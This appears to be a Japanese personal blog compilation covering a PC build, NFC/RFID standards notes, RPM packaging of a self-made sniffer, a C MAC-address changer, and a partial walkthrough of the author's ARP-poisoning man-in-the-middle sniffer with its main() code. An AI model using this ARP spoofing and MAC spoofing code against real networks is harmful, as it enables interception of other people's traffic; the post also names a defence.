ivy bridge 3770s購入
先日第3世代core i シリーズであるivy bridgeこと ivy ちゃんが家にやってきました。
ネット上では、爆熱問題や、ダブルグリスバーガー症候群などが話題になっていますが、
OCをしないなら問題なさそうだし、どうせ買うならとivyの人柱になってきました。
ちなみにPCの自作は今回初めてです。
水冷クーラーの取り付けなどいろいろと戸惑いましたが、無事完成できました。
中でもCPUを取り付けてバーを降ろす所が硬くて結構てんぱりました。
構成ハードウェア
CPU: Core i7-3770s(3.1GHz 8M LGA1155)
M/B: ASUS P8Z77-V
メモリ: CMZ8GX3M2A1600C9 (PC3-12800 4GB*2)
SSD : AGT3-25SATA3-120G
PCケース: PHANTOM410-R
水冷クーラー: CWCH60
電源: EA-650-GREEN
グラボ: N560GTX-TI TWIN FROZR Ⅱ OC V2
合計:108000円
予算があまりなかったので、HDDなどはまだ追加していません。
windowsエクスペリエンスのスコアによると以下のようになります。
最低スコアが7.7という自分的にはかなりの満足感です。
CrystalMarkで前のメインPCとivyを比較してみました。
core i7 3770s
HDD:
Memory:
HDD:
]
Memory:
NFCについてまとめてみた
Interface4月号にNFCについての特集が載せてあったので読んでみた。
そして、自分なりに解釈しまとめてみた。
誤解を恐れずに書くので、間違いがあるかもしれません。怪しいと思うところはいろんなソースをみて的確な情報収集を…
NFCとは
Near Field Communicationの略称。近接無線通信。
日本ではSONYのFelicaやJRのSuicaなどがあります。
10cmとかの距離を電波で通信します。タイプによっては、数十mの距離を通信するものもあります。
NFCは欧州で広く普及している規格ISO/IEC14443TypeAと日本国内で普及しているFelicaを共通で使えるようにするための
無線通信の国際通信規格です。NFCは複数の規格を含んでいる。
NFCフォーラムとは?
NFC技術の実装と標準化の促進を目的に、2004年3月にソニー、フィリップス(現NXPセミコンダクターズ)、ノキアの3社により設立される。
これは、日本ではFelica、欧州ではOyster(TypeA)など規格がバラバラなので、その国固有のICカードしか使えない。
それではダメだ。世界で共通で使える近距離無線通信用のICカードの規格を作りましょうよ的な感じで作られる。
NFCフォーラムの経緯
(NFCフォーラム設立前)
2000年 ISO/IEC14443TypeA、Bなどの非接触の近距離無線規格として13.56MHzの周波数で動作するカードとリーダ/ライタ
の標準規格できる。TaspoなどのTypeA、運転免許などのTypeBできあがる。
※通信部分だけ切り出して企画にすれば、携帯に入れるなどもっと面白い応用ができるのではないか?ISO/IEC14443はRF回路、
アナログ回路、プロトコル、アプリケーションのファイルアクセスなどの全体を包括する使用になっている。
2003年 ISO/IEC18092(NFCIP-1)できる。TypeAとFelicaを共通で使えるようにした規格。
2004年 NFCフォーラム設立
2005年 ISO/IEC21481(NFCIP-2)TypeBとRFIDが追加される。
2010年 第1世代の規格決まる。NFCフォーラムで実装仕様が策定される。
2011年 NFCチップが多数登場
NFCフォーラムによってSuica,Edy,Oyster(TypeA)などの既存のカードと互換性のある規格が出来上がる。
NFCは今後、スマホ→パソコン→TVへ流れていく。
※ハンドオーバー技術の標準化の検討も進めている、ハンドオーバー技術とは、お店に用意されたタグなどを読み込めば、
設定なしにすぐにWi-Fiが使えるようになったりする技術です。NFCタグを解して無線などの設定を自動でやってくれる。
かざすだけで使えるようになる。
NFCを使ったアプリケーションで印象に残ったのは、医師にNFC携帯を持たせ、子供の手首にタグをつけておき、医師が子供のタグ
を読み取ると過去の病歴がクラウドを通してNFC端末に表示されるっていうやつです。
RFID
RFID(Radio Frequency Identifer)は非接触ICカードと技術や使われ方が近い。
RFIDと非接触ICの違いは目的にあります。
RFID → 「物」の管理
非接触IC → 「人」の管理
RFIDの規格
RFIDは電力伝送方式に「電磁誘導方式」「電波方式」の2種類に分かれる。
電磁誘導方式の特徴:
13.56MHz~135KHz未満
通信距離が数十cmと短い(磁界を使うので減衰が急進)
アンテナが小型で安価
電波方式の特徴:
433MHz、952MHz、2.45GHz
通信距離が長い
アンテナが大きく装置も高価
RFIDとして普及しているのは、13.56MHz帯と952MHzUHF帯パッシブ
13.56MHz帯特徴:
通信距離: 20~30cm
複数タグ読み出し: 数~数十枚
タグの値段: 50円以上
リーダ/ライタの大きさ: 数cm
リーダ/ライタの値段: 数千~数万
953MHz帯特徴:
数進距離: 5m
複数タグ読み出し: 100~300枚
タグの値段: 10円
リーダ/ライタの大きさ: 数十cm
リーダ/ライタの値段: 20万円以上
※上記より携帯電話用機器では、13.56MHz帯、UHF帯は外付けが多い
RFIDタグは必要な通信距離と大きさで選ぶ。距離と大きさは比例する
動作温度はー20~85度(ICチップの動作保障温度)
タグはパッシブ(電池なし)は「電波法適用外」
13.56MHz帯は周波数だけでなくスプリアスの規定(設計上意図しない周波数成分)が似ているので、国内、海外問題なく使える
13.56MHz、135KHzに限られる
UHF帯は国ごとに電波法が異なっている。国内でも同じ周波数帯に対して(952MHz)3つの電波法がある。
UHF帯周波数の再編
RFIDとMCA無線(タクシー無線)は現行の周波数から920MHz帯へ移行する
920MHz帯のRFIDの使用開始は2012年7月25日から2018年3月3日までに移行完了
移行の際の利点としては、周波数大域が広がる(5~13MHz)
米国などは920MHz対を使用しているので、国際間の共用性なども利点、
RFIDのコード体系
RFIDタグにはID(識別子)とユーザデータを記録できる2つの領域がある
IDの種類としては、
UID(固体識別子): あらかじめ付与されるユニーク番号。書き換えが不可能
EPC: ISO/IEC18000-6TypeC準拠(UHF帯タグが対象)。書き換え可能
セキュリティに関して
<< NFC >>
・個人のプライバシー情報を守る
・課金情報に不正アクセスさせない
<< RFID >>
・貼り付けたものの真贋判定
・模造品対策
NFCの基本動作
非接触ICカードとは、リーダ/ライタの外部端末から送信される微弱電波を使って電力を生成し、同時に通信を行うICを指す。
1.リーダ/ライタから微弱電波発生
2.カードのアンテナを介し、電磁誘導により電力を取得する
3.取得電力が規定値を上回った時点でカード内ICを起動
4.リーダ/ライタは電波に変調をかけ、リクエストデータ送信
5.カードはリクエストを処理し、IC内の負荷を切り替えることによってレスポンスを返信する
6.リーダ/ライタは負荷変動をリーダの負荷変動として検出し、レスポンス受信
符号化方式
符号化方式とは、Aという電波がやってきたら1、Bという電波がやってきたら0.
などのように電波の変化によってビットを区別するために使用します。
たぶんですが、イメージとしては無線通信_IEEE802.11の一次変調のような感じだと思っています。
誤り訂正符号とは違います。
符号化方式には「NRZ」「ModifiedMiler」「Manchester」の3つの方式があります。
NRZ
NRZとは、0と1のデータを信号波形の高低に対応させるポピュラな方式です。
ModifiedMiler
ビット区間内で電圧の変化がなければ0、電圧の変化があれば1を表す。
Manchester
ビット区間の中央で電圧レベルが「L→H」に変わるなら0、電圧レベルが「H→L」に変化するなら1を表す。
※Mancyester方式は1ビット毎にかならずレベルの変化があるため信号の周期を取りやすく、ノイズを除去をしやすい
変調方式
リーダ/ライタ → カード = ASK
カード → リーダ/カード = Felica : ASK
TypeA : OOK (サブキャリアの有無)
TypeB : BPSK (サブキャリア位相変調)
アンチ・コリジョン(衝突防止)方式
非接触ICは、リーダ/ライタの動作磁界内に複数舞のカードが入ってくるケースが想定される。
※無線や普段聞きなれているコリジョンとは意味合いが違う。
※無線:衝突回避
※NFC:衝突防止
コリジョン方式
TypeA ・・・ビット・コリジョン
TypeB・・・スロットマーカ
Felica・・・タイム・スロット
ビットコリジョン方式 TypeA 欧米
カードが保有する固有識別番号(UID)を返信する。複数のカードが同じビットを送ると識別できるが、
異なるビットを送ると混信してわからない。その衝突のところから「0」で始まるビットを持つカードに返信してもらい、
次は「1」を持つカードに返信してもらうといった動作を行う。
スロットマーカ方式 TypeB 免許証
リーダ/ライタからのリクエストに対してカードは乱数を生成し、スロットマーカー番号として保持。
リーダ/ライタから指定されたスロット・マ-カ番号を持つカードは返信する。衝突した場合は別の乱数を発生させやりなおす。
スロットマーカーと同じようにリーダ/ライタが乱数を送信する。
カードはそれをタイムスロットとして保持する。1つタイムスロット分待機したらカードは答える。
衝突したらリトライ
通信シーケンス
1.リーダ/ライタとカードとの通信路を設定する(初期応答)と、アプリケーションに応じた情報の受信を行う「活性情報」
とで構成される
初期応答
1カード、ICチップに電源が供給されるとカードはライタからの通信時の設定要求(リクエストコマンド)を待機する状態になる。
2.リーダからリクエストコマンドが送信され、カードは応答する。これにより、リーダライタの通信エリアに存在するカードが認識される.
3.認識したカードとパラメータを交換し、通信速度などの条件を相互交換する
活性状態
1.「初期応答」で認識したカードを選択し、リーダライタからのコマンドに対するカードのレスポンスを繰り返す。
2つの通信モード
NFCIP-1では、能動通信モードと、受動通信モードと呼ぶ2つの通信モードが規定される。
能動通信モード・・・リクエスト・レスポンスの双方を、電波を発生させる事により行う。
受動通信モード・・・リクエストの送信は電波を発生させるが、応答では電波を発生させず、電波の負荷を変動させる
NFCIP-1では、データレートごとに通信方式を採用する。
Transport Protocol NFCIP-1の通信プロトコル
NFCIP-1では、コマンドを送信する側をイニシエータ。受信し、返信する側をターゲットと呼ぶ
流れ
初期RFCA(RFCollisionAvoidance)
イニシエータデバイスが、ほかに電波を発生させているデバイスがいないことを確認
↓
初期化およびSDD(SingleDeviceDetection)
により、イニシエータデバイスは、アンチコリジョン機能を用いて対向デバイスを検知する
↓
「属性要求あり?」分岐
データ交換プロトコルに向かうか独自プロトコルに向かうか決定される。
↓
ATR_REQコマンド送信(イニシエータ→ターゲット)
↓
ATR_RES返信(ターゲット→イニシエータ)
デバイスの属性情報を返信する。(受信可能データサイズ、ビットレート)
↓
パラメータの変更があれば、PSL_REQで任意送信
↓
DEP_REQ(DataExchangeProtocol)コマンドを用いて双方向データの送受信を行う
↓
DSL_REQ,RLS_REQでトランザクション終了
1.リーダ/ライタモード
2.P2Pモード
3.カードエミュレーションモード(オプション)
4種類のNFCForumTag(NFCタグ)に対するアクセス機能をサポート
※TypeAやB,Felicaなど意識しなくても使える。全部含まれるから。
Type1Tag→Taspo,Jewel
Type2 Tag→MIFARE,Ultralight
Type3 Tag→Felica
Type4 Tag→MIFARE DESFire
NFCIP-1ではイニシエータは(106/212/424kpbs)のうち1つのビットレートをサポート。ターゲットは全部
仕様書
無線インターフェース(TypeA,B,Felica)に担当する使用をテクノロジと呼ぶ。
3種類ある。NFC-A,NFC-B,NFC-F
通信モードには、コマンド送信できるPollモード、受信できるListenモードがある。
モードは対向デバイスに合わせて、どちらで動作するかが決定される。
Poll→Listen→Poll…と交互に繰り返す
src.rpmからのrpmパッケージ作成手順
前回rpmパッケージの作成手順を紹介しました。
ちなみに後々気づいたのですが、自分が行っていた方法はとってもオバカな方法でした。
なので、先に通常の方法を紹介いたします。
作成時に使用するsrc.rpmはguymagerという、デジタルフォレンジックを行う時などに使用するHDDのダンプツールです。
DEFTLinuxなどに導入されています。それを、我が環境Fedora15へ入れてみようと思います。
通常方法
1.src.rpmをダウンロードしてきます
Fedora15用src.rpm ← ここからダウンロードします。(guymager-0.6.5-1.fc15.src.rpm)
guymager以外にもいろいろなツールのsrc.rpmが置いてあります。
パッケージ作成前手順2と同じように5つのディレクトリを作成し、手順4の用に作業用ディレクトリを指定する
rpmbuild --rebuild guymager-0.6.5-1.fc15.src.rpm
以上で手順2で作成したディレクトリRPMS/noach内にrpmパッケージが作成される。
その後は、通常通り「rpm -i *.rpm」コマンドでインストールする。
※作成時に、必要だけどインストールされていないライブラリなどがある場合はこのようにメッセージが出る。
エラー: ビルド依存性の失敗:
libewf-devel = 20100226 は guymager-0.6.5-1.fc15.i386 に必要とされています
これは個々にインストールする。yumやsrc.rpmからrpmパッケージを作ってインストールしたり。
かなり遠回りな作成方法
通常方法の手順1,2は遠回りな方法と一緒です。
3.ダウンロードしてきたsrc.rpmパッケージを展開する
guymager-0.6.5-1.fc15.src.rpmを展開すると、guymager-0.6.5-1.fc15.srcディレクトリが作成される。中身は、
|-- guymager-0.6.5-patch-001.el5
|-- guymager-0.6.5-patch-001.el6
|-- guymager-0.6.5-patch-001.fc12
|-- guymager-0.6.5-patch-001.fc13
|-- guymager-0.6.5-patch-001.fc14
|-- guymager-0.6.5-patch-001.fc15
|-- guymager-0.6.5-patch-001.fc16
|-- guymager-0.6.5-patch-002
|-- guymager-0.6.5-patch-003
|-- guymager-0.6.5.tar.gz
`-- guymager.spec
この中で、specファイルとtar.gzファイルは前回作成時に使ったファイルと同じであるので、見覚えのあるファイルである。
さっそくこの両ファイルを指定のディレクトリに格納する
- guymager.spec → SPECS
- gyumager-0.6.5.tar.gz → SOURCES
4.格納したら、specファイルの内容を書き換える
BuildRootを書き換える。(自分の環境に合わせて)
BuildRoot: /home/kiyoto/kyonta/rpm/ROOT
BuildRequireの項目から指定されているようなライブラリが必要であるとわかる。
BuildRequires: qt4-devel
BuildRequires: openssl-static
BuildRequires: openssl-devel
BuildRequires: libewf-devel == 20100226
5.rpmbuildを行ってみる
とりあえず、ライブラリは必要になったらインストールすればいいので、rpmbuildをしてみる
「パッチファイルがありません」と出る。
ソースファイルだけでなくパッチファイルもSOURCEディレクトリにいれてあげなければいけなかったらしいので、展開したときにあったファイル
patch-00*.*系を全部SOURCEディレクトリに放り込む。
さきほどのBuildRequiresで指定されているライブラリを全部インストールすれば、問題なくrpmパッケージを作成することができる。
BuildRequires: qt4-devel
BuildRequires: openssl-static
BuildRequires: openssl-devel
libewf-devel==20100226はサイト(ここから)からrpmパッケージをダウンロードしてきてインストールする。
yumでできるかもしれない…なぜかチャレンジはしていないが…。
guymagerインストールのイメージ。
このようにわざわざ自分で展開して配置してからコマンドを一個一個たたかなくても、一発で作成することができたらしい。
とりあえずは、ちょっとした勉強と、「へぇーこうなってるんだぁ…」的な気分が味わえるぐらいでした。
RPMパッケージ作成
RPMパッケージ作成時のメモ。
RPMパッケージとは、RedHad系のLinuxで使用することができるパッケージです。
rpm -i xxx.xxx.rpmのように簡単にインストールをすることができます。
パッケージのインストールやアンインストールが簡単に扱えるようになります。
パッケージ作成前手順:
1.rpm作業用ディレクトリを作成する
任意のディレクトリにrpm作業用のディレクトリを作成します。
自分の例では、/home/kiyoto/rpmです。
そのまんま自分のホームディレクトリにrpmディレクトリを作成しています。
mkdir /home/kiyoto/rpm
2.先ほど作成した作業用ディレクトリ配下に5つのディレクトリを作成する
先ほど作成したディレクトリ(rpm)配下に以下のディレクトリを作成します。
- ・SOURCES (ソースファイル格納用ディレクトリ。tarボール)
- ・SPECS (SPECファイル格納用ディレクトリ)
- ・BUILD (RPMパッケージ作成時の作業用ディレクトリ。ソース展開など)
- ・RPMS (完成したRPMパッケージ格納用ディレクトリ)
- ・SRPMS (src.rpmパッケージ格納用ディレクトリ)
3.RPMSディレクトリ配下にi386ディレクトリを作成する
4.パッケージを作成するための作業用ディレクトリ指定する
ホームディレクトリに .rpmmacros ファイルを作成し、先ほどの1.で作成した作業用ディレクトリを指定する
vi .rpmmacros
%_topdir /home/kiyoto/rpm
5.SOURCESディレクトリに作成したソースファイル(tar.gz)を格納する
以下のファイルを用意し、tarボールにまとめる。
- ソースファイル(今回の例では、sniffy.c sniffy.h などなど...)
- makeファイル(make)
-
※自分は最初makeファイルなどなくてもいいのかと思い、ソールファイルのみをtarボールに格納してしまい、作成中にエラーが出ました。
tarボールにまとめる時に、ファイル名(tarボール)の命名規則があるので、以下のような規則に従う。
<パッケージ名>-<バージョン番号>.<リリース番号>
自分の例(sniffyを作ったとき)では「sniffy-1.0.tar.gz」という感じになる。
sniffy-1.0のようなディレクトリを作成し、そのディレクトリ内にソースファイル・makeファイルを格納し、「圧縮」する。
makeファイルの作成方法は別途他のサイトを参照。
6.SPECファイル作成
SPECファイルを作成し、SPECSディレクトリに格納する。
このSPECファイルが結構重要なファイルなのだが、いろんな項目があるのでめんどうなところ。バージョンの違いによっても結構違うらしい…
複数のサイトを参照しながら一個一個書いていくのがわかりやすいかも。既存のSPECファイルを参照するのもOK
以下の例は必要最低限をまとめたような簡単な例です(rpmパッケージ化することだけを考えた結果のspecファイル)
name: sniffy
Version: 1.0
Release: 0
License: GPL2
Group: Utilities
Source: sniffy-1.0.tar.gz
Summary: packet sniffer
Packager: kiyoto akiyama
Distribution: Fedora
BuildRoot: /home/kiyoto/kyonta/rpm/ROOT
%description
sniffy-1.0
%prep
rm -rf $RPM_BUILD_ROOT/*
mkdir -p $RPM_BUILD_ROOT/usr/local/{bin,man/man1}
%setup
%build
make
%install
install -s sniffy $RPM_BUILD_ROOT/usr/local/bin
%files
%attr(-, root, root) /usr/local/bin/sniffy
- name:作成するパッケージ名。上記でtarボールにまとめた時のパッケージ名と同一でなければならない。
- version:パッケージのバージョン。任意
- Release:パッケージのリリース番号。任意
- License:ライセンス。
- Source:上記で作成したtarボールのファイル名
- Summary:作成するパッケージ名の概要
- Packager:作成者情報
- Distribution:Linuxのディストリビューション
- BuildRoot:ちょっとわからない。反映されてるかもナゾな項目だった。
- %description:パッケージの説明。長文でもOK
- %prep:rpmパッケージ作成時の前処理
- ※例では、ビルドルートを削除し、ビルドルート上に、bin,manディレクトリを作成している。
- %setup:ソースファイルを展開後の処理
- %build:configureやmakeなどのビルド処理
- %install:インストール処理
- %files:パッケージに含まれるファイルリストのリスト
jパッケージ作成手順:
※rootユーザでやらず、一般ユーザで以下を行う。一般ユーザでやらないと何かあったときに取り返しのつかないことになるらしい。
$rpmbuild -bp sniffy.spec
$rpmbuild -bc sniffy.spec
$rpmbuild -bi --define="__check_files %{nil}" sniffy.spec
$rpmbuild -bl --define="__check_files %{nil}" sniffy.spec
$rpmbuild -bb --define="__check_files %{nil}" sniffy.spec
※3回目の段階から出てくる--define="__check_files %{nil}"は、作成中に「インストール済み(ただし未伸張)ファイルが見つかりました」
的なメッセージが出た場合に、指定すると問題なく続行させることができる。
以上でRPMS/i386ディレクトリに、rpmパッケージが作成されている。
-bpなどで、段階的に作成していくため、エラーが出たらそれを修正しながら行っていけばしっかり作成される。
エラーの内容もしっかり読み、わからない所はgoogleで調べるなどすれば、解決できると思います。
今回はとりあえずパッケージ化することに重点を置いたため、内容が適当かもしれません。
詳しい設定などは、他のサイトで詳細に説明されているため省きます。(自分が詳しく知りません)
参照URL:
ifreq構造体によるMACアドレスの変更
arp_poisoningのソースを読み返しているときに、ifreq構造体を使ってMACアドレスを設定できることを思い出した。
なので、任意のMACアドレスに設定できるプログラムを作ることにした。
MACアドレスを設定するには、SIOCGIFFLAGSをioctlで指定する、取得するには、SIOCGIFLAGSを指定する。
その後、ifr.ifr_hwaddr.sa_data[i]を使い、設定や取得を行う。
確認動作環境:fedora15,13
struct ifreq {
char ifr_name[IFNAMSIZ]; /* Interface name */
union {
struct sockaddr ifr_addr;
struct sockaddr ifr_dstaddr;
struct sockaddr ifr_broadaddr;
struct sockaddr ifr_netmask;
struct sockaddr ifr_hwaddr;
short ifr_flags;
int ifr_ifindex;
int ifr_metric;
int ifr_mtu;
struct ifmap ifr_map;
char ifr_slave[IFNAMSIZ];
char ifr_newname[IFNAMSIZ];
char *ifr_data;
};
};
struct ifconf {
int ifc_len; /* size of buffer */
union {
char *ifc_buf; /* buffer address */
struct ifreq *ifc_req; /* array of structures */
};
};
machanger.c
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <net/if.h>
#include <net/if_arp.h>
int main(int argc, char **argv)
{ // 引数チェック
if(argc != 3){
printf("machanger <interface> <address>\n");
return 0;
}
int fd; // ソケットディスクリプション
struct ifreq ifr; // MACアドレス構造体
char *tp;
int i,t,tmp;
char *device = argv[1];
char *str = argv[2];
i = 0;
// ソケットオープン
fd = socket(AF_INET, SOCK_DGRAM, 0); /* デバイスを変更 */
strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
ifr.ifr_flags &= ~IFF_UP;
// 先頭MACアドレスのポインタ格納
tp = strtok(str,":");
ifr.ifr_hwaddr.sa_family = ARPHRD_ETHER; // 指定されたMACアドレスを16進数変換する
while(tp != NULL){
for(t=0;t<2;t++){
switch (tp[t]){
case '0': if(t==1){tmp+=0x0;}else{tmp=0x0;}break;
case '1': if(t==1){tmp+=0x1;}else{tmp=0x1;}break;
case '2': if(t==1){tmp+=0x2;}else{tmp=0x2;}break;
case '3': if(t==1){tmp+=0x3;}else{tmp=0x3;}break;
case '4': if(t==1){tmp+=0x4;}else{tmp=0x4;}break;
case '5': if(t==1){tmp+=0x5;}else{tmp=0x5;}break;
case '6': if(t==1){tmp+=0x6;}else{tmp=0x6;}break;
case '7': if(t==1){tmp+=0x7;}else{tmp=0x7;}break;
case '8': if(t==1){tmp+=0x8;}else{tmp=0x8;}break;
case '9': if(t==1){tmp+=0x9;}else{tmp=0x9;}break;
case 'a': if(t==1){tmp+=0xa;}else{tmp=0xa;}break;
case 'b': if(t==1){tmp+=0xb;}else{tmp=0xb;}break;
case 'c': if(t==1){tmp+=0xc;}else{tmp=0xc;}break;
case 'd': if(t==1){tmp+=0xd;}else{tmp=0xd;}break;
case 'e': if(t==1){tmp+=0xe;}else{tmp=0xe;}break;
case 'f': if(t==1){tmp+=0xf;}else{tmp=0xf;}break;
} if(t==0){
tmp = tmp << 4;
}
}
// 1バイトMACアドレス格納
ifr.ifr_hwaddr.sa_data[i] = tmp;
tp = strtok(NULL,":");
i+=1;
}
if (ioctl(fd, SIOCSIFHWADDR, &ifr) != 0) {
perror("");
}
} close(fd);
return 0;
}
実行方法
# machanger eth0 aa:bb:cc:dd:ee:ff
RPMパッケージ
ソース
Arp_Poisoningによるパケットスニッファ -sniffy-
今回も結構前に作ったツールですが、メモと復習のため掲載します。
今回のツールはLinux上で起動するパケットスニファです。
windowsでなら「Cain&avel」などがツールとしてあります。このツールは高性能です。
Linux用は多分なかったような気がします。
スニッファツールを作るときに使用した言語としては、C言語です。
作った経緯としては、Cain&avelを使っていて、自分でもこんな感じの作れるかなぁ?
って感じで作りました(Cain&avelはもっと多機能です)。実装している機能としては本当に単純で、
ただたんに、対象ホストのパケットを自分経由で通信させるだけです。
使い方敵には、リモートホストにパケットスニッファツールなどをインストールしなくても、1台のPCで監視ができるとか?
通信傍受?本当はパケット通信時のURL抜出から、あるサイトにアクセスしたら別のIPアドレス返したり、
パケットフィルタリング を実装したりしたかったのだが、そのままやらずに終わってしまいました。
イメージ掲載
スニファを作るときに使用した技術?テクニックとしては、arp poisoning(アープポイゾニング)という手法を使用しました。
これは、対象ホストにarpパケットを送信してarpテーブルを書き換えるという方法です。
arpの仕組みはとても単純で、送られてきたarp_responseパケットを何の疑いもなく信用し、自分のarpテーブルを書き換えてしまいます。
下にarpヘッダの構造体を示していますが、tcpなどに比べて項目がとても少ないことがわかると思います。
ethernetはもっと少ないです…。
簡単な説明として、192.168.2.1宛てのパケットはMACアドレスが00:24:a5:b9:90:19のPCに送信します。
ローカルネットワーク内において、次に送信すべき対象のMACアドレスが、ethrnetフレームに指定されています。
「IPアドレスだけじゃ駄目なの?」とか、「なんでMACアドレスが必要なの?」という方は、調べてみてください(投げる)
一応簡単に説明すると、IPアドレスというのは最終的な到着先です。
MACアドレスは、次にパケットを投げる対象のマシンを示します。
上記のことを踏まえると、MACアドレスを書き換えることができれば、次にパケットを投げる対象のマシンを自分の好きなマシンを指定させることができます。
上記の例で、arpテーブルの192.168.2.1のMACアドレスを40:30:04:ee:f4:faに変更できれば、192.169.2.1、192.168.2.20宛てのパケットは、40:30:04:ee:f4:faをMACアドレスとするPCに送られることになります。
そして何度も書くように、arpテーブルのMACアドレスはarp_responseパケットを対象ホストに投げるだけで簡単に書き換えることができます
arpポイゾニングの防ぎ方はとても簡単です。
通信するホストのIPとMACを静的に設定するだけです。
arpテーブルはルーティングテーブルなどと同じように、動的な決定より静的なルートの方を優先するからです。(一番確実)
それか、専用の監視ツールを導入すればいいだけです
パケットスニッファの流れ
1.対象ホスト(2台)のIPアドレスを調べます
今回は家庭内のLANなので、IPアドレスは最初から知っています。
2.対象ホストのarpテーブルを書き換えるために、arp_responseパケットを両ホストに送信します
今回の例では対象ホストA・Bだとします。
ホストAには、ホストBのMACアドレスは自分のMACアドレスだという情報を送ります。
ホストBにも、ホストAのMACアドレスは自分のMACアドレスだという情報を送ります。
すると、両ホストが互いに通信をする時、パケットは全部自分のPCに届くことになります。
3.受信したパケットのMACアドレスを書き換え、正しいホストにパケットを送信する
しかし、このままでは自分にパケットが送られてくるだけで、そのパケットは止まってしまうので通信が成立しません。
なので、受信したパケットのMACアドレスを書き換えて本来送るべきだった対象のPCのMACアドレスに書き換えて送信しなおします。
ホストAから受信したパケットの送信元(source)MACアドレスを自分のMACアドレスに書き換える。
ホストBから受信したパケットも送信元(source)MACアドレスを自分のMACアドレスに書き換える。
このようにする事で、両ホストから受信したパケットは自分のPCを経由してお互いに通信することになります。
イメージ掲載予定.................
プログラム詳細
・通信時使用する各ヘッダ
対象ホストのip、macアドレス情報格納用
// 対象ホストのmac_addr/ip_addr情報保持
struct host_info {
u_char eth_addr[ETH_ALEN];
unsigned char ip_addr[IP_ALEN];
};
ethernetヘッダ
/* Ethernet Header */
struct ethernet_hdr {
u_char ether_dhost[ETH_ALEN];
u_char ether_shost[ETH_ALEN];
u_short ether_type;
};
ipヘッダ
/* IP Header */
struct ip_hdr {
u_char ip_vhl; /* version << 4 | header length >> 2 */
u_char ip_tos; /* type of service */
u_short ip_len; /* total length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
u_char ip_ttl; /* time to live */
u_char ip_p; /* protocol */
u_short ip_sum; /* checksum */
struct in_addr ip_src,ip_dst; /* source and dest address */
};
#define IP_HL(ip) (((ip)->ip_vhl) & 0x0f)
#define IP_V(ip) (((ip)->ip_vhl) >> 4)
arpヘッダ
/* ARP Header */
struct arp_hdr
{
u_short hw_type;
u_short proto_type;
char ha_len;
char pa_len;
u_short opcode;
unsigned char source_add[ETH_ALEN];
unsigned char source_ip[IP_ALEN];
unsigned char dest_add[ETH_ALEN];
unsigned char dest_ip[IP_ALEN];
};
tcpヘッダ
/* TCP Header */
struct tcp_hdr {
u_short th_sport; /* source port */
u_short th_dport; /* destination port */
tcp_seq th_seq; /* sequence number */
tcp_seq th_ack; /* acknowledgement number */
u_char th_offx2; /* data offset, rsvd */
#define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4)
u_char th_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_ECE 0x40
#define TH_CWR 0x80
#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
u_short th_win; /* window */
u_short th_sum; /* checksum */
u_short th_urp; /* urgent pointer */
};
udpヘッダ
/* UDP Header */
struct udp_hdr {
u_short uh_sport;
u_short uh_dport;
u_short uh_leng;
u_short uh_sum;
};
mainプログラムの詳細
細かい説明は省きます。
main関数の大まかな流れです。赤文字になっているところは、自作関数なので、気になる方はプログラムを見てください。
main.c
#include "function.h"
/*
* 使い方
* ./a.out (device) (host_1) (host_2)
* 終了の仕方
* 1を入力してEnterを押すと終了する
*/
int main (int argc, char **argv) {
char *host1_ip_addr,*host2_ip_addr;
char *device;
pid_t arp_pid,relay_pid;
int status;
int command;
char host1_buff[sizeof(struct host_info)];
char host2_buff[sizeof(struct host_info)];
struct host_info *host1_eth_addr = (struct host_info*)host1_buff;
struct host_info *host2_eth_addr = (struct host_info*)host2_buff;
// 引数チェック
if(argc != 4){
printf("argv Error.\n");
printf("./a.out
return 0;
}
// 値設定
device = argv[1];
host1_ip_addr = argv[2];
host2_ip_addr = argv[3];
// 対象ホストのMACアドレス取得
search_mac_address(host1_ip_addr,device,host1_eth_addr);
search_mac_address(host2_ip_addr,device,host2_eth_addr);
// 取得したMACアドレス表示 (aa:bb:cc:dd:ee:ff)
// MACアドレスに対応するIP表示 (192.168.2.1)
printf("%s\n",ether_ntoa(host1_eth_addr->eth_addr));
printf("%s\n",inet_ntoa(*(struct in_addr*)&host1_eth_addr->ip_addr));
printf("%s\n",ether_ntoa(host2_eth_addr->eth_addr));
printf("%s\n",inet_ntoa(*(struct in_addr*)&host2_eth_addr->ip_addr));
// 対象ホストのarpテーブルを汚すためのarpポイゾニング用のプロセス起動
arp_pid = fork();
// fork error
if (arp_pid < 0){
printf("fork error [arp_pid]\n");
exit(1);
}
// start arp_poisoning process
if (arp_pid == 0){
printf("Start arp poisoning!!\n");
arp_poisoning(host1_eth_addr,host2_eth_addr,device);
}
// parent process (main process)
else{
// パケットリレー用プロセス起動
relay_pid = fork();
if (relay_pid == 0){
while(1){
printf("Start Packet relay..\n");
sleep(1);
packet_relay(device,host1_eth_addr,host2_eth_addr);
}
}
// parent process.
else{
// 終了コマンド入力待ち1で終了
while(1){
scanf("%d",&command);
if(command==1){
// arp_process,relay_process KILL
kill(arp_pid,SIGINT);
kill(relay_pid,SIGINT);
// 対象ホストのarpテーブルを元に戻す
arp_table_restore(device,host1_eth_addr,host2_eth_addr);
break;
}
}
}
}
printf("Exit arp_poisoning..\n");
return 0;
}
1.与えられた対象ホスト(2台)のIPアドレスを元に対象ホストのMACアドレスを調べます
arp_requestパケットを攻撃者PCで作成し、対象ホストに送信します。
受信したarp_responseパケットの内容を元に対象ホストのMACアドレスを保存します。
上記プログラム上のsearch_mac_address(host1_ip_addr,device,host1_eth_addr);を使用する。
host_info構造体のeth_addrに対象ホストから得たMACアドレスを保存しておきます。
2.自分のMACアドレスを取得し、MACアドレス情報を保持
arp_poisoning(host1_eth_addr,host2_eth_addr,device);関数の中で、
自分のMACアドレスを調べる関数、get_my_mac(device,my_mac_addr_str);を呼び出し、
MACアドレスを保存している。
3.arp_poisoningを行うため、対象である両ホストに向けarp_responseパケットを送信する
